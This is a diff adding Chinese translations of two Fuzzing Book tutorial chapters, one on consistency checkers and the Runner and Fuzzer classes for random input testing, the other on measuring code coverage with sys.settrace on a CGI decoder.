+airport_codes = {
+    "YVR": "Vancouver",
+    "JFK": "New York-JFK",
+    "CDG": "Paris-Charles de Gaulle",
+    "CAI": "Cairo",
+    "LED": "St. Petersburg",
+    "PEK": "Beijing",
+    "HND": "Tokyo-Haneda",
+    "AKL": "Auckland"
+}  # plus many more
+
+```
+
+```py
+airport_codes["YVR"]
+
+```
+
+```py
+'Vancouver'
+
+```
+
+```py
+"AKL" in airport_codes
+
+```
+
+```py
+True
+
+```
+
+机场代码清单可能非常重要：如果我们在任何机场代码中都有拼写错误，这可能会影响我们拥有的任何应用程序。 因此，我们引入了一个检查列表一致性的功能。 一致性条件称为*表示不变式*，因此检查该一致性条件的函数（或方法）通常被命名为`repOK()`以表示“表示还可以”。
+
+首先，让我们检查一下各个机场代码。 如果代码不一致，则检查器将失败。
+
+```py
+def code_repOK(code):
+    assert len(code) == 3, "Airport code must have three characters: " + repr(code)
+    for c in code:
+        assert c.isalpha(), "Non-letter in airport code: " + repr(code)
+        assert c.isupper(), "Lowercase letter in airport code: " + repr(code)
+    return True
+
+```
+
+```py
+assert code_repOK("SEA")
+
+```
+
+现在，我们可以使用`code_repOK()`检查列表中的所有元素：
+
+```py
+def airport_codes_repOK():
+    for code in airport_codes:
+        assert code_repOK(code)
+    return True
+
+```
+
+```py
+with ExpectError():
+    assert airport_codes_repOK()
+
+```
+
+如果将无效元素添加到列表，则检查将失败：
+
+```py
+airport_codes["YMML"] = "Melbourne"
+
+```
+
+```py
+with ExpectError():
+    assert airport_codes_repOK()
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-53-21eb3b08ef3e>", line 2, in <module>
+    assert airport_codes_repOK()
+  File "<ipython-input-50-f8128f7dc918>", line 3, in airport_codes_repOK
+    assert code_repOK(code)
+  File "<ipython-input-48-345123a45730>", line 2, in code_repOK
+    assert len(code) == 3, "Airport code must have three characters: " + repr(code)
+AssertionError: Airport code must have three characters: 'YMML' (expected)
+
+```
+
+当然，除了直接操作列表之外，我们还有添加元素的特殊功能。 然后还可以检查代码是否有效：
+
+```py
+def add_new_airport(code, city):
+    assert code_repOK(code)
+    airport_codes[code] = city
+
+```
+
+```py
+with ExpectError():  # For BER, ExpectTimeout would be more appropriate
+    add_new_airport("BER", "Berlin")
+
+```
+
+此检查还使我们能够找出参数列表中的错误：
+
+```py
+with ExpectError():
+    add_new_airport("London-Heathrow", "LHR")
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-56-6aeb45bf2b91>", line 2, in <module>
+    add_new_airport("London-Heathrow", "LHR")
+  File "<ipython-input-54-f4d30ab4bf9e>", line 2, in add_new_airport
+    assert code_repOK(code)
+  File "<ipython-input-48-345123a45730>", line 2, in code_repOK
+    assert len(code) == 3, "Airport code must have three characters: " + repr(code)
+AssertionError: Airport code must have three characters: 'London-Heathrow' (expected)
+
+```
+
+但是，为了进行最大程度的检查，`add_new_airport()`功能还可以确保正确显示机场代码列表-之前的*和更改*之后的*。*
+
+```py
+def add_new_airport(code, city):
+    assert code_repOK(code)
+    assert airport_codes_repOK()
+    airport_codes[code] = city
+    assert airport_codes_repOK()
+
+```
+
+这捕获了前面介绍的不一致之处：
+
+```py
+with ExpectError():
+    add_new_airport("IST", "Istanbul Yeni Havalimanı")
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-58-a80a619d120e>", line 2, in <module>
+    add_new_airport("IST", "Istanbul Yeni Havalimanı")
+  File "<ipython-input-57-93da9120109e>", line 3, in add_new_airport
+    assert airport_codes_repOK()
+  File "<ipython-input-50-f8128f7dc918>", line 3, in airport_codes_repOK
+    assert code_repOK(code)
+  File "<ipython-input-48-345123a45730>", line 2, in code_repOK
+    assert len(code) == 3, "Airport code must have three characters: " + repr(code)
+AssertionError: Airport code must have three characters: 'YMML' (expected)
+
+```
+
+您的代码中存在的`repOK()`断言越多，捕获的错误就越多-即使是仅针对您的域和问题的错误。 最重要的是，此类断言记录了您在编程过程中做出的假设，从而帮助其他程序员理解您的代码并防止错误。
+
+最后一个例子是让我们考虑一个相当复杂的数据结构-[红黑树](https://en.wikipedia.org/wiki/Red-black_tree)，这是一种自平衡二进制搜索树。 实施一棵红黑树并不难，但是即使对有经验的程序员来说，正确地实施它也可能要花费几个小时。 但是，`repOK()`方法记录所有假设并进行检查：
+
+```py
+class RedBlackTree:
+    def repOK(self):
+        assert self.rootHasNoParent()
+        assert self.rootIsBlack()
+        assert self.rootNodesHaveOnlyBlackChildren()
+        assert self.treeIsAcyclic()
+        assert self.parentsAreConsistent()
+        return True
+
+    def rootIsBlack(self):
+        if self.parent is None:
+            assert self.color == BLACK
+        return True
+
+    def add_element(self, elem):
+        assert self.repOK()
+        # Add the element
+        assert self.repOK()
+
+    def delete_element(self, elem):
+        assert self.repOK()
+        # Delete the element
+        assert self.repOK()
+
+```
+
+在此，`repOK()`是在`RedBlackTree`类的对象上运行的方法。 它运行五种不同的检查，所有检查都有自己的断言。 每当添加或删除元素时，所有这些一致性检查都会自动运行。 如果您有任何错误，检查器会找到它们-当然，如果您通过足够多的模糊输入来运行树。
+
+### 静态代码检查器
+
+通过在代码上使用*静态类型检查器*，也可以从`repOK()`断言中获得很多好处。 例如，在Python中，只要正确声明了参数的类型， [MyPy](http://mypy-lang.org) 静态检查器就可以发现类型错误：
+
+```py
+from [typing](https://docs.python.org/3/library/typing.html) import Dict
+
+airport_codes = {
+    "YVR": "Vancouver",  # etc
+}  # type: Dict[str, str]
+
+```
+
+如果我们现在添加一个非字符串类型的键，如
+
+```py
+airport_codes[1] = "First"
+
+```
+
+这将被MyPy立即捕获：
+
+```py
+$ mypy airports.py
+airports.py: error: Invalid index type "int" for "Dict[str, str]"; expected type "str"
+
+```
+
+静态检查更高级的属性，例如由完全由三个大写字符组成的机场代码或非循环的树，但是，它们很快达到了静态检查的极限。 仍然需要您的`repOK()`断言–最好与良好的测试生成器结合使用。
+
+## 模糊结构
+
+由于我们希望在以后的章节中重用本章的某些部分，因此让我们以一种易于重用的方式（尤其是*扩展*）的方式定义事物。 为此，我们引入了许多*类*，它们以可重用的方式封装了上述功能。
+
+### 跑步者类
+
+我们介绍的第一件事是`Runner`的概念–即，一个对象的工作是使用给定的输入执行某些对象。 运行程序通常是受测试的某些程序或函数，但我们也可以使用更简单的运行程序。
+
+让我们从跑步者的基础课开始。 运行程序实质上提供了一种方法`run(input)`，该方法用于将`input`（字符串）传递给运行程序。 `run()`返回一对（`result`和`outcome`）。 在这里，`result`是跑步者特定的值，提供跑步的细节； `outcome`是将结果分为三类的值：
+
+*   `Runner.PASS` –测试*通过了*。 运行产生正确的结果。
+*   `Runner.FAIL` –测试*失败*。 运行产生不正确的结果。
+*   `Runner.UNRESOLVED` –测试未通过或未通过。 如果无法进行运行，则会发生这种情况-例如，由于输入无效。
+
+```py
+class Runner(object):
+    # Test outcomes
+    PASS = "PASS"
+    FAIL = "FAIL"
+    UNRESOLVED = "UNRESOLVED"
+
+    def __init__(self):
+        """Initialize"""
+        pass
+
+    def run(self, inp):
+        """Run the runner with the given input"""
+        return (inp, Runner.UNRESOLVED)
+
+```
+
+作为基本类，`Runner`仅为在其上构建的更复杂的运行程序提供接口。 更具体地说，我们引入*子类*，*继承其超类的方法，以添加其他方法或覆盖继承的方法。*
+
+这是此类子类的一个示例：`PrintRunner`会简单地打印出赋予它的所有内容，从而覆盖继承的`run()`方法。 在许多情况下，这是默认运行程序。
+
+```py
+class PrintRunner(Runner):
+    def run(self, inp):
+        """Print the given input"""
+        print(inp)
+        return (inp, Runner.UNRESOLVED)
+
+```
+
+```py
+p = PrintRunner()
+(result, outcome) = p.run("Some input")
+
+```
+
+```py
+Some input
+
+```
+
+结果就是我们作为输入传递的字符串：
+
+```py
+result
+
+```
+
+```py
+'Some input'
+
+```
+
+到目前为止，我们仍无法对程序行为进行分类：
+
+```py
+outcome
+
+```
+
+```py
+'UNRESOLVED'
+
+```
+
+`ProgramRunner`类将输入发送到程序的标准输入。 创建`ProgramRunner`对象时指定程序。
+
+```py
+class ProgramRunner(Runner):
+    def __init__(self, program):
+        """Initialize.  `program` is a program spec as passed to `subprocess.run()`"""
+        self.program = program
+
+    def run_process(self, inp=""):
+        """Run the program with `inp` as input.  Return result of `subprocess.run()`."""
+        return subprocess.run(self.program,
+                              input=inp,
+                              stdout=subprocess.PIPE,
+                              stderr=subprocess.PIPE,
+                              universal_newlines=True)
+
+    def run(self, inp=""):
+        """Run the program with `inp` as input.  Return test outcome based on result of `subprocess.run()`."""
+        result = self.run_process(inp)
+
+        if result.returncode == 0:
+            outcome = self.PASS
+        elif result.returncode < 0:
+            outcome = self.FAIL
+        else:
+            outcome = self.UNRESOLVED
+
+        return (result, outcome)
+
+```
+
+这是二进制（即非文本）输入和输出的变体。
+
+```py
+class BinaryProgramRunner(ProgramRunner):
+    def run_process(self, inp=""):
+        """Run the program with `inp` as input.  Return result of `subprocess.run()`."""
+        return subprocess.run(self.program,
+                              input=inp.encode(),
+                              stdout=subprocess.PIPE,
+                              stderr=subprocess.PIPE)
+
+```
+
+让我们使用`cat`程序演示`ProgramRunner`，该程序将其输入复制到其输出。 我们看到`cat`的标准调用仅完成了工作，`cat`的输出与其输入相同：
+
+```py
+cat = ProgramRunner(program="cat")
+cat.run("hello")
+
+```
+
+```py
+(CompletedProcess(args='cat', returncode=0, stdout='hello', stderr=''), 'PASS')
+
+```
+
+### 模糊器类别
+
+现在让我们定义一个*模糊器*，它实际上将数据馈送到使用者。 模糊器的基类提供了一种创建某些输入的中央方法`fuzz()`。 然后，`run()`函数将fuzz（）输入发送给跑步者，返回结果； `runs()`会执行给定次数（`trials`）。
+
+```py
+class Fuzzer(object):
+    def __init__(self):
+        pass
+
+    def fuzz(self):
+        """Return fuzz input"""
+        return ""
+
+    def run(self, runner=Runner()):
+        """Run `runner` with fuzz input"""
+        return runner.run(self.fuzz())
+
+    def runs(self, runner=PrintRunner(), trials=10):
+        """Run `runner` with fuzz input, `trials` times"""
+        # Note: the list comprehension below does not invoke self.run() for subclasses
+        # return [self.run(runner) for i in range(trials)]
+        outcomes = []
+        for i in range(trials):
+            outcomes.append(self.run(runner))
+        return outcomes
+
+```
+
+默认情况下，`Fuzzer`对象不执行任何操作，因为它们的`fuzz()`函数只是一个抽象占位符。 但是，子类`RandomFuzzer`实现上述`fuzzer()`函数的功能，并添加了附加参数`min_length`以指定最小长度。
+
+```py
+class RandomFuzzer(Fuzzer):
+    def __init__(self, min_length=10, max_length=100,
+                 char_start=32, char_range=32):
+        """Produce strings of `min_length` to `max_length` characters
+ in the range [`char_start`, `char_start` + `char_range`]"""
+        self.min_length = min_length
+        self.max_length = max_length
+        self.char_start = char_start
+        self.char_range = char_range
+
+    def fuzz(self):
+        string_length = random.randrange(self.min_length, self.max_length + 1)
+        out = ""
+        for i in range(0, string_length):
+            out += chr(random.randrange(self.char_start,
+                                        self.char_start + self.char_range))
+        return out
+
+```
+
+使用`RandomFuzzer`，我们现在可以创建一个模糊器，在创建模糊器时只需配置一次即可。
+
+```py
+random_fuzzer = RandomFuzzer(min_length=20, max_length=20)
+for i in range(10):
+    print(random_fuzzer.fuzz())
+
+```
+
+```py
+'>23>33)(&"09.377.*3
+*+:5 ? (?1$4<>!?3>.'
+4+3/(3 (0%!>!(+9%,#$
+/51$2964>;)2417<9"2&
+907.. !7:&--"=$7',7*
+(5=5'.!*+&>")6%9)=,/
+?:&5) ";.0!=6>3+>)=,
+6&,?:!#2))- ?:)=63'-
+,)9#839%)?&(0<6("*;)
+4?!(49+8=-'&499%?< '
+
+```
+
+现在，我们可以将此类生成的输入发送到我们先前定义的`cat`运行器，验证`cat`实际上确实将其（模糊的）输入复制到其输出中。
+
+```py
+for i in range(10):
+    inp = random_fuzzer.fuzz()
+    result, outcome = cat.run(inp)
+    assert result.stdout == inp
+    assert outcome == Runner.PASS
+
+```
+
+但是，将`Fuzzer`与`Runner`组合在一起非常普遍，我们可以为此目的使用`Fuzzer`类提供的`run()`方法：
+
+```py
+random_fuzzer.run(cat)
+
+```
+
+```py
+(CompletedProcess(args='cat', returncode=0, stdout='?:+= % <1<6$:(>=:9)5', stderr=''),
+ 'PASS')
+
+```
+
+使用`runs()`，我们可以重复执行一次模糊测试，以获得结果列表。
+
+```py
+random_fuzzer.runs(cat, 10)
+
+```
+
+```py
+[(CompletedProcess(args='cat', returncode=0, stdout='3976%%&+%6=(1)3&3:<9', stderr=''),
+  'PASS'),
+ (CompletedProcess(args='cat', returncode=0, stdout='33$#42$ 11=*%$20=<.-', stderr=''),
+  'PASS'),
+ (CompletedProcess(args='cat', returncode=0, stdout='"?<\'#8 </:*%9.--\'97!', stderr=''),
+  'PASS'),
+ (CompletedProcess(args='cat', returncode=0, stdout="/0-#(03/!#60'+6>&&72", stderr=''),
+  'PASS'),
+ (CompletedProcess(args='cat', returncode=0, stdout="=,+:,6'5:950+><3(*()", stderr=''),
+  'PASS'),
+ (CompletedProcess(args='cat', returncode=0, stdout=" 379+0?'%3137=2:4605", stderr=''),
+  'PASS'),
+ (CompletedProcess(args='cat', returncode=0, stdout="02>!$</'*81.#</22>+:", stderr=''),
+  'PASS'),
+ (CompletedProcess(args='cat', returncode=0, stdout="=-<'3-#88*%&*9< +1&&", stderr=''),
+  'PASS'),
+ (CompletedProcess(args='cat', returncode=0, stdout='2;;0=3&6=8&30&<-;?*;', stderr=''),
+  'PASS'),
+ (CompletedProcess(args='cat', returncode=0, stdout='/#05=*3($>::#7!0=12+', stderr=''),
+  'PASS')]
+
+```
+
+有了这一点，我们就可以创建模糊器了-从本章介绍的简单随机模糊器开始，甚至要先进得多。 敬请关注！
+
+## 经验教训
+
+*   随机生成输入（“模糊测试”）是一种简单，经济高效的方法，可以快速测试任意程序的健壮性。
+*   模糊器发现的错误主要是由于*输入处理*中的错误和不足。
+*   要捕获错误，请尽可能多地使用*一致性检查器*。
+
+我们已经完成了，所以不要忘记清理：
+
+```py
+os.remove(FILE)
+os.removedirs(tempdir)
+
+```
+
+## 后续步骤
+
+在这里，您可以探索如何
+
+*   [在现有输入上使用*突变*获得更多有效输入](MutationFuzzer.html)
+*   [使用*语法*指定输入格式，从而获得更多有效输入](Grammars.html)
+*   [减少*失败的输入*，以进行有效的调试](Reducer.html)
+
+享受阅读！
+
+## 背景
+
+一般而言，有关生成软件测试的书籍很少（这就是我们编写这本书的原因）。 尽管有一些关于*模糊测试的书籍*，但也基于本章介绍的基本模糊测试技术：
+
+*   《模糊测试-蛮力漏洞发现》一书涵盖了广泛的模糊测试领域，包括文件，网页，环境变量和网络协议。 作者从Microsoft的模糊测试中获得了很多经验，并包括了许多用于Windows和UNIX程序的现成工具。 工具已经有些老化，但是原理仍然存在。
+
+*   《软件安全测试和质量保证的模糊测试》一书[ [Takanen *等人*，2008年。](http://us.artechhouse.com/Fuzzing-for-Software-Security-Testing-and-Quality-Assurance-Second-Edition-P1930.aspx)]现已出版，2018年第二版，涵盖了广泛的模糊测试工具和检测技术 ; 其作者从安全测试和漏洞发现中获得了丰富的经验。 这可以说是该领域最全面，最新的书籍之一。
+
+特别是在本章中，有关模糊测试的开创性工作（介绍术语和方法）是“ UNIX实用程序可靠性的实证研究” [Miller *等人*，1990年。](https://doi.org/10.1145/96267.96279) ]。 作为该领域的基础，这对于任何对模糊测试和鲁棒性测试感兴趣的人都必须阅读，其观察与30年前一样有效。
+
+## 练习
+
+米勒等人发现的错误之一。 [ [Miller *等人*，1990。](https://doi.org/10.1145/96267.96279)]涉及 *troff* 排版系统。 *Troff* 接受由行组成的文本作为输入； 以点开头的行（`.`）包含排版命令，如
+
+```py
+.NH
+Some Heading
+.LP
+Some paragraph
+```
+
+这将产生（使用`nroff -ms`）文本
+
+```py
+1\.  Some Heading
+
+Some paragraph
+```
+
+在Miller等人当时，如果 *troff* 的输入包含
+
+1.  输入序列`\D`（反斜杠+ D），后跟不可打印字符
+2.  ASCII范围为128–255的字符（即设置了第8位），后跟换行符
+3.  单个点（`.`）后跟换行符。
+
+### 练习1：模拟Troff
+
+对于上述每一项，编写一个Python函数`f(s)`，如果`s`满足失败条件，该函数将失败。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Fuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习2：运行模拟Troff
+
+创建一个类`TroffRunner`作为`Runner`的子类，以检查上述谓词。 使用`Fuzzer`运行它。 确保`Fuzzer`对象产生整个字符范围。 计算单个谓词失败的频率。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Fuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习3：运行真实Troff
+
+使用`BinaryProgramRunner`，应用在实际`troff`程序上配置的模糊器。 检查是否可以产生任何输出代码非零的运行，表示失败或崩溃。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Fuzzer.ipynb#Exercises) to work on the exercises and see solutions.
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/9.md b/new/fuzzing-book-zh/9.md
new file mode 100644
index 0000000000000000000000000000000000000000..a8d4eadb5d0170b590d3bb196622a3b1189c987e
--- /dev/null
+++ b/new/fuzzing-book-zh/9.md
@@ -0,0 +1,1149 @@
+# 代码覆盖率
+
+> 原文： [https://www.fuzzingbook.org/html/Coverage.html](https://www.fuzzingbook.org/html/Coverage.html)
+
+在[的前一章](Fuzzer.html)中，我们介绍了*基本模糊处理*-即生成用于测试程序的随机输入。 我们如何衡量这些测试的有效性？ 一种方法是检查发现的错误的数量（和严重性）。 但是如果错误很少，我们需要一个*代理来进行测试以发现错误。* 在本章中，我们介绍*代码覆盖率*的概念，该概念衡量在测试运行期间实际执行程序的哪些部分。 对于尝试覆盖尽可能多的代码的测试生成器，衡量此类覆盖范围也至关重要。
+
+**前提条件**
+
+*   您需要对程序的执行方式有所了解。
+*   您应该已经在[上一章](Fuzzer.html)中了解了基本的模糊测试。
+
+## 内容提要
+
+要使用本章中提供的代码来[，请编写](Importing.html)
+
+```py
+>>> from [fuzzingbook.Coverage](Coverage.html) import <identifier>
+
+```
+
+然后利用以下功能。
+
+本章介绍`Coverage`类，使您可以测量Python程序的覆盖率。 它的典型用法是与`with`子句结合使用：
+
+```py
+>>> with Coverage() as cov:
+>>>     cgi_decode("a+b")
+
+```
+
+`trace()`方法将覆盖率作为覆盖位置的列表返回。 每个位置成对出现（`function name`和`line`）。
+
+```py
+>>> print(cov.trace())
+[('cgi_decode', 9), ('cgi_decode', 10), ('cgi_decode', 11), ('cgi_decode', 12), ('cgi_decode', 15), ('cgi_decode', 16), ('cgi_decode', 17), ('cgi_decode', 18), ('cgi_decode', 19), ('cgi_decode', 21), ('cgi_decode', 30), ('cgi_decode', 31), ('cgi_decode', 17), ('cgi_decode', 18), ('cgi_decode', 19), ('cgi_decode', 20), ('cgi_decode', 31), ('cgi_decode', 17), ('cgi_decode', 18), ('cgi_decode', 19), ('cgi_decode', 21), ('cgi_decode', 30), ('cgi_decode', 31), ('cgi_decode', 17), ('cgi_decode', 32), ('__exit__', 25)]
+
+```
+
+`coverage()`方法返回至少执行一次的位置集：
+
+```py
+>>> print(cov.coverage())
+{('cgi_decode', 12), ('cgi_decode', 20), ('cgi_decode', 30), ('cgi_decode', 21), ('cgi_decode', 32), ('cgi_decode', 31), ('cgi_decode', 10), ('__exit__', 25), ('cgi_decode', 11), ('cgi_decode', 18), ('cgi_decode', 9), ('cgi_decode', 19), ('cgi_decode', 16), ('cgi_decode', 15), ('cgi_decode', 17)}
+
+```
+
+## CGI解码器
+
+我们首先介绍一个简单的Python函数，该函数对CGI编码的字符串进行解码。 URL（即网址）中使用CGI编码来编码URL中无效的字符，例如空格和某些标点符号：
+
+*   空白由`'+'`代替
+*   其他无效字符将替换为“ `%xx`”，其中`xx`是两位十六进制等效项。
+
+因此，在CGI编码中，字符串`"Hello, world!"`将变成`"Hello%2c+world%21"`，其中`2c`和`21`分别是`','`和`'!'`的十六进制等效项。
+
+函数`cgi_decode()`接受这样的编码字符串，并将其解码回其原始形式。 我们的实现复制了[[Pezzè*等人*，2008。](http://ix.cs.uoregon.edu/~michal/book/)]中的代码。 （它甚至包括其错误-但我们目前不会公开它们。）
+
+```py
+def cgi_decode(s):
+    """Decode the CGI-encoded string `s`:
+ * replace "+" by " "
+ * replace "%xx" by the character with hex number xx.
+ Return the decoded string.  Raise `ValueError` for invalid inputs."""
+
+    # Mapping of hex digits to their integer values
+    hex_values = {
+        '0': 0, '1': 1, '2': 2, '3': 3, '4': 4,
+        '5': 5, '6': 6, '7': 7, '8': 8, '9': 9,
+        'a': 10, 'b': 11, 'c': 12, 'd': 13, 'e': 14, 'f': 15,
+        'A': 10, 'B': 11, 'C': 12, 'D': 13, 'E': 14, 'F': 15,
+    }
+
+    t = ""
+    i = 0
+    while i < len(s):
+        c = s[i]
+        if c == '+':
+            t += ' '
+        elif c == '%':
+            digit_high, digit_low = s[i + 1], s[i + 2]
+            i += 2
+            if digit_high in hex_values and digit_low in hex_values:
+                v = hex_values[digit_high] * 16 + hex_values[digit_low]
+                t += chr(v)
+            else:
+                raise ValueError("Invalid encoding")
+        else:
+            t += c
+        i += 1
+    return t
+
+```
+
+这是`cgi_decode()`的工作方式示例：
+
+```py
+cgi_decode("Hello+world")
+
+```
+
+```py
+'Hello world'
+
+```
+
+如果我们要系统地测试`cgi_decode()`，我们将如何进行？
+
+测试文献区分了两种派生测试的方式：*黑盒测试*和*白盒测试。*
+
+## 黑匣子测试
+
+*黑盒测试*的想法是从*规范*派生测试。 在上述情况下，我们将不得不通过指定和记录的功能来测试`cgi_decode()`，包括
+
+*   测试是否正确替换`'+'`；
+*   测试是否正确替换`"%xx"`；
+*   测试是否替换其他字符； 和
+*   测试识别非法输入。
+
+这是涵盖这四个功能的四个断言（测试）。 我们可以看到它们全部通过：
+
+```py
+assert cgi_decode('+') == ' '
+assert cgi_decode('%20') == ' '
+assert cgi_decode('abc') == 'abc'
+
+try:
+    cgi_decode('%?a')
+    assert False
+except ValueError:
+    pass
+
+```
+
+黑匣子测试的优势在于，它可以发现*指定的*行为中的错误。 它独立于给定的实现，因此即使在实现之前也可以创建测试。 不利之处在于，*实现的*行为通常比*指定的*行为覆盖更多的领域，因此仅基于规范的测试通常不会涵盖所有实现细节。
+
+## 白盒测试
+
+与黑盒测试相反，*白盒测试*从*实现*中得出测试，尤其是内部结构。 白盒测试与*的概念紧密相关，后者涵盖了代码的*结构特征。 例如，如果在测试过程中未执行代码中的语句，则意味着该语句中的错误也无法触发。 因此，白盒测试引入了许多必须满足的*覆盖标准*。 最常用的覆盖标准是
+
+*   *语句覆盖率*-代码中的每个语句必须至少由一个测试输入执行。
+*   *分支覆盖*-代码中的每个分支必须至少由一个测试输入进行。 （这将转换为每个`if`和`while`决策一次为真，一次为假。）
+
+除此之外，还有更多的覆盖标准，包括采用的分支顺序，采用的循环迭代（零次，一次，多次），变量定义和用法之间的数据流等等。 [[Pezzè*等*，2008。](http://ix.cs.uoregon.edu/~michal/book/)]进行了很好的概述。
+
+让我们考虑上面的`cgi_decode()`并说明必须要做的事情，以使每个代码语句至少执行一次。 我们必须掩盖
+
+*   `if c == '+'`之后的程序段
+*   `if c == '%'`之后的两个块（一个为有效输入，一个为无效输入）
+*   所有其他字符的最后`else`大小写。
+
+这导致了与上述黑盒测试相同的条件； 同样，以上断言确实涵盖了代码中的每个语句。 由于程序员倾向于在不同的代码位置实现不同的行为，因此这种对应实际上很常见。 因此，覆盖这些位置将导致测试用例涵盖不同的（指定的）行为。
+
+白盒测试的优势在于它可以发现*实现的*行为中的错误。 即使规范中没有提供足够的细节，也可以执行此操作； 实际上，它有助于识别（从而指定）规范中的极端情况。 缺点是它可能会错过*未实现的*行为：如果缺少某些指定的功能，白盒测试将找不到它。
+
+## 跟踪执行
+
+白盒测试的一个不错的功能是，它实际上可以自动评估是否涵盖了某些程序功能。 为此，一个*指示*该程序的执行，以便在执行期间，一种特殊的功能可以跟踪执行了哪些代码。 在测试之后，这些信息可以传递给程序员，然后程序员可以专注于编写涵盖尚未发现的代码的测试。
+
+在大多数编程语言中，要设置程序以跟踪其执行是相当困难的。 在Python中不是这样。 函数`sys.settrace(f)`允许定义*跟踪函数* `f()`，该函数将为每条执行的每一行调用。 更好的是，它可以访问当前函数及其名称，当前变量内容等。 因此，它是*动态分析*的理想工具-即分析执行过程中实际发生的情况。
+
+为了说明它是如何工作的，让我们再次查看`cgi_decode()`的特定执行。
+
+```py
+cgi_decode("a+b")
+
+```
+
+```py
+'a b'
+
+```
+
+为了跟踪执行如何通过`cgi_decode()`进行，我们使用`sys.settrace()`。 首先，我们定义将为每行调用的*跟踪函数*。 它具有三个参数：
+
+*   `frame`参数为您提供当前*帧*，允许访问当前位置和变量：
+    *   `frame.f_code`是当前执行的代码，其中`frame.f_code.co_name`是函数名；
+    *   `frame.f_lineno`保留当前行号； 和
+    *   `frame.f_locals`保存当前的局部变量和参数。
+*   `event`参数是一个字符串，其值包括`"line"`（到达新行）或`"call"`（正在调用函数）。
+*   `arg`参数是某些事件的附加*参数*； 例如，对于`"return"`事件，`arg`保存所返回的值。
+
+我们使用跟踪函数来简单地报告当前执行的行，我们可以通过`frame`参数对其进行访问。
+
+```py
+coverage = []
+
+```
+
+```py
+def traceit(frame, event, arg):
+    if event == "line":
+        global coverage
+        function_name = frame.f_code.co_name
+        lineno = frame.f_lineno
+        coverage.append(lineno)
+    return traceit
+
+```
+
+我们可以使用`sys.settrace()`打开和关闭跟踪：
+
+```py
+import [sys](https://docs.python.org/3/library/sys.html)
+
+```
+
+```py
+def cgi_decode_traced(s):
+    global coverage
+    coverage = []
+    sys.settrace(traceit)  # Turn on
+    cgi_decode(s)
+    sys.settrace(None)    # Turn off
+
+```
+
+当我们计算`cgi_decode("a+b")`时，我们现在可以看到执行过程如何通过`cgi_decode()`进行。 在`hex_values`，`t`和`i`初始化之后，我们看到`while`循环被执行了3次–输入中的每个字符一次。
+
+```py
+cgi_decode_traced("a+b")
+print(coverage)
+
+```
+
+```py
+[9, 10, 11, 12, 15, 16, 17, 18, 19, 21, 30, 31, 17, 18, 19, 20, 31, 17, 18, 19, 21, 30, 31, 17, 32]
+
+```
+
+这些到底是哪几行？ 为此，我们获得了`cgi_decode_code`的源代码并将其编码到数组`cgi_decode_lines`中，然后使用覆盖率信息对其进行注释。 首先，让我们获取`cgi_encode`的源代码：
+
+```py
+import [inspect](https://docs.python.org/3/library/inspect.html)
+
+```
+
+```py
+cgi_decode_code = inspect.getsource(cgi_decode)
+
+```
+
+`cgi_decode_code`是包含源代码的字符串。 我们可以使用Python语法高亮显示它：
+
+```py
+from [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils) import print_content, print_file
+
+```
+
+```py
+print_content(cgi_decode_code[:300] + "...", ".py")
+
+```
+
+```py
+def cgi_decode(s):
+    """Decode the CGI-encoded string `s`:
+ * replace "+" by " "
+ * replace "%xx" by the character with hex number xx.
+ Return the decoded string.  Raise `ValueError` for invalid inputs."""
+
+    # Mapping of hex digits to their integer values
+    hex_values = {
+  ...
+
+```
+
+使用`splitlines()`，我们将代码分成几行，并按行号索引。
+
+```py
+cgi_decode_lines = [""] + cgi_decode_code.splitlines()
+
+```
+
+`cgi_decode_lines[L]`是源代码的L行。
+
+```py
+cgi_decode_lines[1]
+
+```
+
+```py
+'def cgi_decode(s):'
+
+```
+
+我们看到执行的第一行（9）实际上是`hex_values`的初始化...
+
+```py
+cgi_decode_lines[9:13]
+
+```
+
+```py
+["        '0': 0, '1': 1, '2': 2, '3': 3, '4': 4,",
+ "        '5': 5, '6': 6, '7': 7, '8': 8, '9': 9,",
+ "        'a': 10, 'b': 11, 'c': 12, 'd': 13, 'e': 14, 'f': 15,",
+ "        'A': 10, 'B': 11, 'C': 12, 'D': 13, 'E': 14, 'F': 15,"]
+
+```
+
+...然后初始化`t`：
+
+```py
+cgi_decode_lines[15]
+
+```
+
+```py
+'    t = ""'
+
+```
+
+要查看实际上至少覆盖了哪些行，我们可以将`coverage`转换为一组：
+
+```py
+covered_lines = set(coverage)
+print(covered_lines)
+
+```
+
+```py
+{32, 9, 10, 11, 12, 15, 16, 17, 18, 19, 20, 21, 30, 31}
+
+```
+
+让我们打印出完整的代码，注释未用'＃'覆盖的行：
+
+```py
+for lineno in range(1, len(cgi_decode_lines)):
+    if lineno not in covered_lines:
+        print("# ", end="")
+    else:
+        print("  ", end="")
+    print("%2d " % lineno, end="")
+    print_content(cgi_decode_lines[lineno], '.py')
+
+```
+
+```py
+#  1  def cgi_decode(s):
+#  2      """Decode the CGI-encoded string `s`:
+#  3         * replace "+" by "  "
+#  4         * replace "%xx" by the character with hex number xx.
+#  5         Return the decoded string.  Raise `ValueError` for invalid inputs."""
+#  6  
+#  7      # Mapping of hex digits to their integer values
+#  8      hex_values = {
+   9          '0': 0, '1': 1, '2': 2, '3': 3, '4': 4,
+  10          '5': 5, '6': 6, '7': 7, '8': 8, '9': 9,
+  11          'a': 10, 'b': 11, 'c': 12, 'd': 13, 'e': 14, 'f': 15,
+  12          'A': 10, 'B': 11, 'C': 12, 'D': 13, 'E': 14, 'F': 15,
+# 13      }
+# 14  
+  15      t = ""
+  16      i = 0
+  17      while i < len(s):
+  18          c = s[i]
+  19          if c == '+':
+  20              t += '  '
+  21          elif c == '%':
+# 22              digit_high, digit_low = s[i + 1], s[i + 2]
+# 23              i += 2
+# 24              if digit_high in hex_values and digit_low in hex_values:
+# 25                  v = hex_values[digit_high] * 16 + hex_values[digit_low]
+# 26                  t += chr(v)
+# 27              else:
+# 28                  raise ValueError("Invalid encoding")
